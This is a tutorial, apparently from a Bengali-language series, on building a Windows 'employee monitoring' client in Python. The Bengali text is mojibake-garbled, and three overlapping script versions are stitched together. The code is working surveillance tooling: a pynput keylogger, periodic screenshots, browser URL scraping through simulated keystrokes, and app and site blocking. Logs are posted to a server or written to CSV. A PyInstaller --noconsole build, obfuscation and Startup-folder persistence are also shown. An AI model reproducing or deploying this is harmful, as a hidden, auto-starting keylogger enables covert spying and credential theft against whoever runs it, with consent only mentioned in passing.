đĨī¸ đ Part 5: Python Client Development (Monitoring Script)
āĻāĻāĻžāύ⧠āĻāĻŽāϰāĻž āϤā§āϰāĻŋ āĻāϰāĻŦā§ Employee PC monitoring client āϝāĻž background service āĻāĻāĻžāϰ⧠āĻāϞāĻŦā§ āĻāĻŦāĻ āĻāĻŽāĻžāĻĻā§āϰ Django API āϤ⧠data āĻĒāĻžāĻ āĻžāĻŦā§āĨ¤ āĻĒā§āϰāϤāĻŋāĻāĻŋ āϏā§āĻā§āĻĒā§ āĻĒā§āϰāĻĢā§āĻļāύāĻžāϞ āϞā§āĻā§āϞ āĻŦā§āϝāĻžāĻā§āϝāĻž + Bangla comments āĻĨāĻžāĻāĻŦā§ āϝā§āύ āĻŦāĻžāϏā§āϤāĻŦā§ āĻā§āĻŽā§āĻĒāĻžāύāĻŋāϰ āĻāύā§āϝ āĻĒā§āϰāĻĄāĻžāĻāĻļāύ āϰā§āĻĄāĻŋ āĻā§āϞ āϤā§āϰāĻŋ āĻāϰāϤ⧠āĻĒāĻžāϰā§āĨ¤
â ā§§. Goals of Python Client
â
Active window tracking
â
Website URL tracking
â
Idle time tracking
â
Screenshot capture
â
Periodic API POST request (with token auth)
â
Background service āĻšāĻŋāϏā§āĻŦā§ run (later PyInstaller EXE build)
đ¨ Step 1.1 â Project Setup
đ¯ Create Folder
mkdir monitoring_client
cd monitoring_client
python -m venv venv venv\Scripts\activate
pip install requests pygetwindow psutil pyautogui pynput pywin32đĻ Install Required Libraries
| Library | Use |
|---|---|
| requests | API call |
| pygetwindow / pywin32 | Active window title |
| psutil | Process & idle time |
| pyautogui | Screenshot |
| pynput | Keystroke logger |
đ¨ Step 1.2 â Basic Config File: config.py
# config.py
API_URL = "http://127.0.0.1:8000/api/activity-logs/create/"
TOKEN = "your_django_token_here"
EMPLOYEE_ID = 1
# Screenshot interval (seconds)
SCREENSHOT_INTERVAL = 300
đ¨ Step 1.3 â Helper Functions: monitor.py
# monitor.py
import time
import requests
import json
import pygetwindow as gw
import psutil
import pyautogui
from pynput import keyboard
import threading
import os
from config import API_URL, TOKEN, EMPLOYEE_ID
# đ keystroke log store āĻāϰāĻžāϰ āĻāύā§āϝ global variable
keystrokes = []
# â
Active window title get function
def get_active_window():
try:
window = gw.getActiveWindow()
if window:
return window.title
except Exception as e:
print("Active window error:", e)
return None
# â
Idle time calculate function
def get_idle_time():
idle = 0
for user in psutil.users():
idle = user.idle
return idle // 60 # minute
# â
Screenshot capture function
def take_screenshot():
filename = f"screenshot_{int(time.time())}.png"
pyautogui.screenshot(filename)
return filename
# â
Keystroke listener function
def on_press(key):
try:
keystrokes.append(key.char)
except AttributeError:
keystrokes.append(str(key))
# â
Start keystroke listener in background
def start_keylogger():
listener = keyboard.Listener(on_press=on_press)
listener.start()
# â
Data send function
def send_data():
while True:
active_window = get_active_window()
idle_time = get_idle_time()
keys = ''.join(keystrokes)
# Screenshot every interval
screenshot_file = take_screenshot()
headers = {"Authorization": f"Token {TOKEN}"}
files = {'screenshot': open(screenshot_file, 'rb')}
data = {
"employee": EMPLOYEE_ID,
"active_window": active_window,
"keystrokes": keys,
"idle_time_min": idle_time,
}
try:
response = requests.post(API_URL, headers=headers, data=data, files=files)
print("Data sent:", response.status_code)
except Exception as e:
print("Error sending data:", e)
# Clear keystrokes after sending
keystrokes.clear()
# Delete screenshot file to save disk space
os.remove(screenshot_file)
# Wait for next interval
time.sleep(SCREENSHOT_INTERVAL)
# â
Main function
if __name__ == "__main__":
start_keylogger()
send_thread = threading.Thread(target=send_data)
send_thread.start()
import time
import pygetwindow as gw
import psutil
import pyautogui
from pynput import keyboard
import threading
import os
from datetime import datetime
# đ keystroke log store āĻāϰāĻžāϰ āĻāύā§āϝ global variable
keystrokes = []
SCREENSHOT_INTERVAL = 60 # seconds
LOG_FILE = "activity_log.txt"
# â
Active window title get function
def get_active_window():
try:
window = gw.getActiveWindow()
if window:
return window.title
except Exception as e:
print("Active window error:", e)
return "N/A"
# â
Idle time calculate function (approximation)
def get_idle_time():
idle = 0
for user in psutil.users():
try:
idle = user.idle
except AttributeError:
continue
return idle // 60 # minute
# â
Screenshot capture function
def take_screenshot():
filename = f"screenshot_{int(time.time())}.png"
pyautogui.screenshot(filename)
return filename
# â
Keystroke listener function
def on_press(key):
try:
keystrokes.append(key.char)
except AttributeError:
keystrokes.append(str(key))
# â
Start keystroke listener in background
def start_keylogger():
listener = keyboard.Listener(on_press=on_press)
listener.start()
# â
Data save function
def save_data():
while True:
active_window = get_active_window()
idle_time = get_idle_time()
keys = ''.join(keystrokes)
screenshot_file = take_screenshot()
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# Write to log file
with open(LOG_FILE, "a", encoding="utf-8") as f:
f.write(f"[{timestamp}]\n")
f.write(f"Active Window: {active_window}\n")
f.write(f"Idle Time (min): {idle_time}\n")
f.write(f"Keystrokes: {keys}\n")
f.write(f"Screenshot File: {screenshot_file}\n")
f.write("-" * 40 + "\n")
# Clear keystrokes after saving
keystrokes.clear()
# Optional: delete screenshot to save space
os.remove(screenshot_file)
time.sleep(SCREENSHOT_INTERVAL)
# â
Main function
if __name__ == "__main__":
start_keylogger()
save_thread = threading.Thread(target=save_data)
save_thread.start()
import time
import pygetwindow as gw
import psutil
from pynput import keyboard
import threading
import os
import sys
import socket
from datetime import datetime
import winreg
import win32gui
import win32con
import win32process
import win32com.client
import pythoncom
import pyperclip
import urllib.parse
import csv
import ctypes
from ctypes import wintypes
# đ āĻā§āϞā§āĻŦāĻžāϞ āĻā§āϰāĻŋāϝāĻŧā§āĻŦāϞ: āϞāĻ āĻĢāĻžāĻāϞ āĻāĻŦāĻ āĻāύā§āĻāĻžāϰāĻāĻžāϞ āϏā§āĻ āĻāϰāĻž
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
LOG_FILE = os.path.join(SCRIPT_DIR, "activity_log.csv")
TEMP_LOG_FILE = os.path.join(SCRIPT_DIR, "activity_log_temp.csv")
MONITOR_INTERVAL = 5 # āĻĒā§āϰāϤāĻŋ ā§Ģ āϏā§āĻā§āύā§āĻĄā§ āĻĄā§āĻāĻž āĻā§āĻ
keystrokes = [] # āĻā§āϏā§āĻā§āϰā§āĻ āϏāĻāϰāĻā§āώāĻŖā§āϰ āĻāύā§āϝ āϞāĻŋāϏā§āĻ
keystrokes_lock = threading.Lock() # Thread-safe keystroke access
blocked_apps = ["notepad.exe", "calc.exe"] # āĻŦā§āϞāĻ āĻāϰāĻžāϰ āĻāύā§āϝ āĻ
ā§āϝāĻžāĻĒā§āϰ āϤāĻžāϞāĻŋāĻāĻž
blocked_urls = ["facebook.com", "youtube.com"] # āĻŦā§āϞāĻ āĻāϰāĻžāϰ āĻāύā§āϝ URL āϤāĻžāϞāĻŋāĻāĻž
active_window_history = [] # āĻāĻāύā§āĻĄā§ āϏā§āĻāĻāĻŋāĻ āĻā§āϰā§āϝāĻžāĻ āĻāϰāĻžāϰ āĻāύā§āϝ
history_lock = threading.Lock() # Thread-safe window history access
RETRY_ATTEMPTS = 3 # āĻĢāĻžāĻāϞ āϞā§āĻāĻžāϰ āĻāύā§āϝ āϰāĻŋāĻā§āϰāĻžāĻ āϏāĻāĻā§āϝāĻž
RETRY_DELAY = 1 # āϰāĻŋāĻā§āϰāĻžāĻāϝāĻŧā§āϰ āĻŽāϧā§āϝ⧠āĻĻā§āϰāĻŋ (āϏā§āĻā§āύā§āĻĄ)
MAX_KEYSTROKE_LENGTH = 1000 # CSV-āϤ⧠āĻā§āϏā§āĻā§āϰā§āĻā§āϰ āϏāϰā§āĻŦā§āĻā§āĻ āĻĻā§āϰā§āĻā§āϝ
# đ āĻŽā§āϝāĻžāĻĒāĻŋāĻ: āĻŦāĻŋāĻļā§āώ āĻā§āĻā§āϞā§āϰ āĻāύā§āϝ āĻŽāĻžāύāĻŦ-āĻĒāĻžāĻ āϝā§āĻā§āϝ āύāĻžāĻŽ
SPECIAL_KEY_MAP = {
'space': '[Space]',
'enter': '[Enter]',
'tab': '[Tab]',
'backspace': '[Backspace]',
'delete': '[Delete]',
'ctrl_l': '[Ctrl]',
'ctrl_r': '[Ctrl]',
'alt_l': '[Alt]',
'alt_r': '[Alt]',
'shift': '[Shift]',
'shift_r': '[Shift]',
'caps_lock': '[CapsLock]',
'esc': '[Esc]',
'up': '[Up]',
'down': '[Down]',
'left': '[Left]',
'right': '[Right]',
}
# đ āĻĢāĻžāĻāĻļāύ: āĻāĻŽā§āĻĒāĻŋāĻāĻāĻžāϰā§āϰ āύāĻžāĻŽ āĻāĻŦāĻ IP āĻ āĻŋāĻāĻžāύāĻž āĻĒāĻžāĻāϝāĻŧāĻž
def get_computer_info():
try:
computer_name = socket.gethostname()
ip_address = socket.gethostbyname(computer_name)
return computer_name, ip_address
except Exception as e:
print(f"āĻāĻŽā§āĻĒāĻŋāĻāĻāĻžāϰ āϤāĻĨā§āϝ āĻĒāĻžāĻāϝāĻŧāĻžāϰ āϤā§āϰā§āĻāĻŋ: {e}")
return "N/A", "N/A"
# đ āĻĢāĻžāĻāĻļāύ: CSV āĻĢāĻžāĻāϞ āϤā§āϰāĻŋ āĻāĻŦāĻ āĻšā§āĻĄāĻžāϰ āϝā§āĻ āĻāϰāĻž
def initialize_csv(log_file=LOG_FILE):
try:
if not os.path.exists(log_file):
with open(log_file, "a", newline="", encoding="utf-8") as f:
writer = csv.writer(f)
writer.writerow([
"Timestamp", "Computer Name", "IP Address", "Active Window",
"Process Name", "Idle Time (min)", "Browser URL",
"URL Duration (sec)", "Keystrokes", "USB Status",
"Window Switch History"
])
except Exception as e:
print(f"CSV āĻĢāĻžāĻāϞ āϤā§āϰāĻŋ āϤā§āϰā§āĻāĻŋ ({log_file}): {e}")
# đ āĻĢāĻžāĻāĻļāύ: āĻā§āĻŽā§āĻĒā§āϰāĻžāϰāĻŋ āĻĢāĻžāĻāϞā§āϰ āĻĄā§āĻāĻž āĻŽā§āϞ CSV āϤ⧠āĻŽāĻžāϰā§āĻ āĻāϰāĻž
def merge_temp_file():
if not os.path.exists(TEMP_LOG_FILE):
return
try:
with open(TEMP_LOG_FILE, "r", newline="", encoding="utf-8") as temp_f:
reader = csv.reader(temp_f)
temp_data = list(reader)[1:] # Skip header
with open(LOG_FILE, "a", newline="", encoding="utf-8") as main_f:
writer = csv.writer(main_f)
for row in temp_data:
writer.writerow(row)
os.remove(TEMP_LOG_FILE)
print(f"āĻā§āĻŽā§āĻĒā§āϰāĻžāϰāĻŋ āĻĢāĻžāĻāϞ ({TEMP_LOG_FILE}) āĻŽā§āϞ CSV āϤ⧠āĻŽāĻžāϰā§āĻ āĻāϰāĻž āĻšāϝāĻŧā§āĻā§āĨ¤")
except Exception as e:
print(f"āĻā§āĻŽā§āĻĒā§āϰāĻžāϰāĻŋ āĻĢāĻžāĻāϞ āĻŽāĻžāϰā§āĻ āϤā§āϰā§āĻāĻŋ: {e}")
# đ āĻĢāĻžāĻāĻļāύ: āϏāĻā§āϰāĻŋāϝāĻŧ āĻāĻāύā§āĻĄā§āϰ āύāĻžāĻŽ āĻāĻŦāĻ āĻĒā§āϰāϏā§āϏā§āϰ āϤāĻĨā§āϝ āĻĒāĻžāĻāϝāĻŧāĻž
def get_active_window():
try:
window = gw.getActiveWindow()
if window:
hwnd = win32gui.GetForegroundWindow()
_, pid = win32process.GetWindowThreadProcessId(hwnd)
process = psutil.Process(pid)
return window.title, process.name()
except Exception as e:
print(f"āĻāĻāύā§āĻĄā§ āĻā§āϰā§āϝāĻžāĻāĻŋāĻ āϤā§āϰā§āĻāĻŋ: {e}")
return "N/A", "N/A"
# đ āĻĢāĻžāĻāĻļāύ: āĻŦā§āϰāĻžāĻāĻāĻžāϰ⧠āĻŦāϰā§āϤāĻŽāĻžāύ URL āĻĒāĻžāĻāϝāĻŧāĻž
def get_browser_url(window_title):
pythoncom.CoInitialize() # Initialize COM for this thread
try:
if any(browser in window_title.lower() for browser in ["chrome", "edge", "firefox"]):
shell = win32com.client.Dispatch("WScript.Shell")
shell.AppActivate(window_title)
shell.SendKeys("^l") # Focus URL bar
time.sleep(0.1)
shell.SendKeys("^c") # Copy URL
time.sleep(0.1)
url = pyperclip.paste()
parsed_url = urllib.parse.urlparse(url).hostname or "N/A"
return parsed_url
else:
return "N/A"
except Exception as e:
print(f"URL āĻā§āϰā§āϝāĻžāĻāĻŋāĻ āϤā§āϰā§āĻāĻŋ: {e}")
return "N/A"
finally:
pythoncom.CoUninitialize() # Clean up COM
# đ āĻĢāĻžāĻāĻļāύ: āύāĻŋāώā§āĻā§āϰāĻŋāϝāĻŧ (Idle) āϏāĻŽāϝāĻŧ āĻāĻŖāύāĻž
def get_idle_time():
try:
class LASTINPUTINFO(ctypes.Structure):
_fields_ = [("cbSize", wintypes.UINT), ("dwTime", wintypes.DWORD)]
lii = LASTINPUTINFO()
lii.cbSize = ctypes.sizeof(LASTINPUTINFO)
ctypes.windll.user32.GetLastInputInfo(ctypes.byref(lii))
current_time = ctypes.windll.kernel32.GetTickCount()
idle_ms = current_time - lii.dwTime
return idle_ms // (60 * 1000) # Convert to minutes
except Exception as e:
print(f"Idle āĻāĻžāĻāĻŽ āĻāĻŖāύāĻž āϤā§āϰā§āĻāĻŋ: {e}")
return 0
# đ āĻĢāĻžāĻāĻļāύ: āĻā§āϏā§āĻā§āϰā§āĻ āϞāĻ āĻāϰāĻž (āĻļā§āϧā§āĻŽāĻžāϤā§āϰ āĻŦā§āϰāĻžāĻāĻāĻžāϰā§āϰ āĻāύā§āϝ)
def on_press(key):
try:
hwnd = win32gui.GetForegroundWindow()
window_title = win32gui.GetWindowText(hwnd).lower()
# Validate that the active window is a browser
if any(browser in window_title for browser in ["chrome", "edge", "firefox"]):
with keystrokes_lock:
# Handle printable characters
if hasattr(key, 'char') and key.char and key.char.isprintable():
keystrokes.append(key.char)
# Handle special keys
else:
key_str = str(key).replace('Key.', '')
if key_str in SPECIAL_KEY_MAP:
keystrokes.append(SPECIAL_KEY_MAP[key_str])
# Ignore unknown or non-printable control keys
except Exception as e:
print(f"āĻā§āϏā§āĻā§āϰā§āĻ āϞāĻāĻŋāĻ āϤā§āϰā§āĻāĻŋ: {e}")
# đ āĻĢāĻžāĻāĻļāύ: āĻā§āϏā§āĻā§āϰā§āĻ āϞāĻŋāϏāύāĻžāϰ āĻļā§āϰ⧠āĻāϰāĻž
def start_keylogger():
listener = keyboard.Listener(on_press=on_press)
listener.start()
# đ āĻĢāĻžāĻāĻļāύ: āύāĻŋāϰā§āĻĻāĻŋāώā§āĻ āĻ
ā§āϝāĻžāĻĒ āĻŦāĻž āĻāĻāύā§āĻĄā§ āĻŦā§āϞāĻ āĻāϰāĻž
def block_app_or_window():
pythoncom.CoInitialize() # Initialize COM for this thread
try:
while True:
try:
_, process_name = get_active_window()
if process_name.lower() in blocked_apps:
hwnd = win32gui.GetForegroundWindow()
win32gui.PostMessage(hwnd, win32con.WM_CLOSE, 0, 0)
print(f"āĻŦā§āϞāĻ āĻāϰāĻž āĻ
ā§āϝāĻžāĻĒ āĻŦāύā§āϧ āĻāϰāĻž āĻšāϝāĻŧā§āĻā§: {process_name}")
except Exception as e:
print(f"āĻ
ā§āϝāĻžāĻĒ āĻŦā§āϞāĻāĻŋāĻ āϤā§āϰā§āĻāĻŋ: {e}")
time.sleep(1)
finally:
pythoncom.CoUninitialize() # Clean up COM
# đ āĻĢāĻžāĻāĻļāύ: URL āĻŦā§āϞāĻ āĻāϰāĻž
def block_url(current_url):
pythoncom.CoInitialize() # Initialize COM for this thread
try:
if current_url in blocked_urls:
shell = win32com.client.Dispatch("WScript.Shell")
shell.SendKeys("^w") # Close browser tab
print(f"āĻŦā§āϞāĻ āĻāϰāĻž URL āĻŦāύā§āϧ āĻāϰāĻž āĻšāϝāĻŧā§āĻā§: {current_url}")
except Exception as e:
print(f"URL āĻŦā§āϞāĻāĻŋāĻ āϤā§āϰā§āĻāĻŋ: {e}")
finally:
pythoncom.CoUninitialize() # Clean up COM
# đ āĻĢāĻžāĻāĻļāύ: USB āĻĄāĻŋāĻāĻžāĻāϏ āϏāĻāϝā§āĻ āĻļāύāĻžāĻā§āϤ āĻāϰāĻž
def detect_usb():
try:
usb_devices = []
for disk in psutil.disk_partitions():
if "removable" in disk.opts.lower():
usb_devices.append(disk.device)
return ", ".join(usb_devices) if usb_devices else "No USB detected"
except Exception as e:
print(f"USB āĻĄāĻŋāĻā§āĻāĻļāύ āϤā§āϰā§āĻāĻŋ: {e}")
return "N/A"
# đ āĻĢāĻžāĻāĻļāύ: āĻāĻāύā§āĻĄā§ āϏā§āĻāĻāĻŋāĻ āĻā§āϰā§āϝāĻžāĻ āĻāϰāĻž
def track_window_switch(current_window, timestamp):
with history_lock:
if active_window_history and active_window_history[-1]["window"] != current_window:
active_window_history.append({"window": current_window, "timestamp": timestamp})
# đ āĻĢāĻžāĻāĻļāύ: āĻĄā§āĻāĻž CSV āĻĢāĻžāĻāϞ⧠āϏāĻāϰāĻā§āώāĻŖ
def save_data():
pythoncom.CoInitialize() # Initialize COM for this thread
try:
initialize_csv() # Initialize primary CSV
initialize_csv(TEMP_LOG_FILE) # Initialize temp CSV
last_url = None
url_start_time = time.time()
last_window_title = None # Track the last window title
computer_name, ip_address = get_computer_info() # Get computer info
while True:
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
window_title, process_name = get_active_window()
# Only proceed if window title has changed or is the first run
if window_title != last_window_title:
idle_time = get_idle_time()
current_url = get_browser_url(window_title) if any(browser in window_title.lower() for browser in ["chrome", "edge", "firefox"]) else "N/A"
with keystrokes_lock:
# Join keystrokes into a readable string, limit length
keys = ''.join(keystrokes[:MAX_KEYSTROKE_LENGTH]) if keystrokes else "None"
keystrokes.clear()
usb_status = detect_usb()
# URL āϏāĻŽāϝāĻŧ āĻā§āϰā§āϝāĻžāĻāĻŋāĻ
url_duration = 0
if current_url != last_url and last_url and current_url != "N/A":
url_duration = time.time() - url_start_time
url_start_time = time.time()
last_url = current_url
# āĻāĻāύā§āĻĄā§ āϏā§āĻāĻ āĻā§āϰā§āϝāĻžāĻāĻŋāĻ
track_window_switch(window_title, timestamp)
# CSV āĻĢāĻžāĻāϞ⧠āĻĄā§āĻāĻž āϞā§āĻāĻž (āϰāĻŋāĻā§āϰāĻžāĻ āϞāĻāĻŋāĻ āϏāĻš)
log_file = LOG_FILE
for attempt in range(RETRY_ATTEMPTS):
try:
with open(log_file, "a", newline="", encoding="utf-8") as f:
writer = csv.writer(f)
with history_lock:
writer.writerow([
timestamp, computer_name, ip_address, window_title,
process_name, idle_time, current_url, f"{url_duration:.2f}",
keys, usb_status, str(active_window_history[-5:])
])
merge_temp_file() # Attempt to merge temp file if it exists
break
except PermissionError as e:
print(f"CSV āϞā§āĻāĻžāϰ āϤā§āϰā§āĻāĻŋ (āĻĒā§āϰāĻā§āώā§āĻāĻž {attempt + 1}/{RETRY_ATTEMPTS}, {log_file}): {e}")
if attempt == RETRY_ATTEMPTS - 1:
log_file = TEMP_LOG_FILE # Switch to temp file
initialize_csv(log_file)
time.sleep(RETRY_DELAY)
except Exception as e:
print(f"āĻ
āĻĒā§āϰāϤā§āϝāĻžāĻļāĻŋāϤ CSV āϞā§āĻāĻžāϰ āϤā§āϰā§āĻāĻŋ ({log_file}): {e}")
break
# URL āĻŦā§āϞāĻ āĻāϰāĻž (āĻļā§āϧā§āĻŽāĻžāϤā§āϰ āĻŦā§āϰāĻžāĻāĻāĻžāϰ URL āĻĨāĻžāĻāϞā§)
if current_url != "N/A":
block_url(current_url)
last_window_title = window_title # Update last window title
time.sleep(MONITOR_INTERVAL)
except Exception as e:
print(f"āĻĄā§āĻāĻž āϏāĻāϰāĻā§āώāĻŖ āϤā§āϰā§āĻāĻŋ: {e}")
finally:
pythoncom.CoUninitialize() # Clean up COM
# đ āĻĒā§āϰāϧāĻžāύ āĻĢāĻžāĻāĻļāύ: āϏāĻŦ āĻĢāĻŋāĻāĻžāϰ āĻļā§āϰ⧠āĻāϰāĻž
if __name__ == "__main__":
start_keylogger()
save_thread = threading.Thread(target=save_data)
block_thread = threading.Thread(target=block_app_or_window)
save_thread.daemon = True # Make threads daemon so they exit with main program
block_thread.daemon = True
save_thread.start()
block_thread.start()
try:
while True:
time.sleep(1) # Keep main thread alive
except KeyboardInterrupt:
print("āĻĒā§āϰā§āĻā§āϰāĻžāĻŽ āĻŦāύā§āϧ āĻāϰāĻž āĻšāĻā§āĻā§...")đ Bangla Explanation:
â
get_active_window() â current active window title return āĻāϰā§
â
get_idle_time() â user idle time calculate āĻāϰā§
â
take_screenshot() â screenshot file save āĻāϰā§
â
on_press() â keystroke capture āĻāϰ⧠global variable āĻ store āĻāϰā§
â
send_data() â āϏāĻŦ data API āϤ⧠POST āĻāϰ⧠periodic interval āĻ
â
threading â keylogger & data sender parallel āĻāϞā§
â ā§Ē. Run Script
python monitor.py
âī¸ Script run āĻāϰāϞ⧠āĻĒā§āϰāϤāĻŋ interval āĻ data Django API āϤ⧠āϝāĻžāĻŦā§āĨ¤ Admin panel āĻ logs āĻĻā§āĻāĻž āϝāĻžāĻŦā§āĨ¤
đ ā§Ģ. Security Considerations (Production)
đ Token in .env file āϰāĻžāĻāĻŦā§
đ SSL/TLS enforced API call (https)
đ PyInstaller build āĻāϰāϞ⧠code obfuscation
đ Legal consent mandatory for keystroke logging
â ā§Ŧ. PyInstaller Build (Optional)
pip install pyinstaller
pyinstaller --onefile --noconsole monitor.py
âī¸ dist/monitor.exe employee PC āϤ⧠deploy āĻāϰ⧠Windows Task Scheduler āĻ add āĻāϰāϞ⧠auto start āĻšāĻŦā§āĨ¤
đ đ Summary of Part 5
âī¸ Professional grade Python client monitoring script complete
âī¸ Active window, idle time, keystroke, screenshot capture
âī¸ API integration tested
âī¸ Future ready for PyInstaller EXE deployment
đ âĄī¸ Next Step:
đ Part 6: Security & Deployment
- Token auth & rate limiting best practices
- HTTPS setup (Letâs Encrypt)
- PyInstaller EXE obfuscation
- Windows service installer creation
- VPS deployment (Gunicorn + Nginx)
đ āĻŦāϞ⧠âStart Part 6â â āϤāĻžāĻšāϞ⧠āĻāĻŽāϰāĻž Security & Deployment āĻļā§āϰ⧠āĻāϰāĻŦā§, āϝāĻž production āĻ going live āĻāϰāĻžāϰ āĻāύā§āϝ mandatoryāĨ¤
đ ī¸ đ Solution 1: Windows Startup Folder (Easy Method)
đ¯ Use Case: Personal PC āĻŦāĻž low privilege employee PC
- PyInstaller āĻĻāĻŋāϝāĻŧā§ EXE āĻŦāĻžāύāĻžāĻ
pip install pyinstaller
pyinstaller --onefile --noconsole monitor.pyāĻāϤ⧠dist/monitor.exe āϤā§āϰāĻŋ āĻšāĻŦā§āĨ¤
- EXE āĻĢāĻžāĻāϞāĻāĻŋ Startup folder āĻ āϰāĻžāĻā§
- Win + R â āϞāĻŋāĻā§:
shell:startupâ Enter - Startup folder āĻā§āϞāĻŦā§
- āϤā§āĻŽāĻžāϰ
monitor.exeāĻĢāĻžāĻāϞāĻāĻŋāϰ shortcut āĻāĻāĻžāύ⧠paste āĻāϰā§āĨ¤
â Result: PC boot āĻšāϞ⧠user login āĻāϰ āĻĒāϰāĻ exe run āĻšāĻŦā§āĨ¤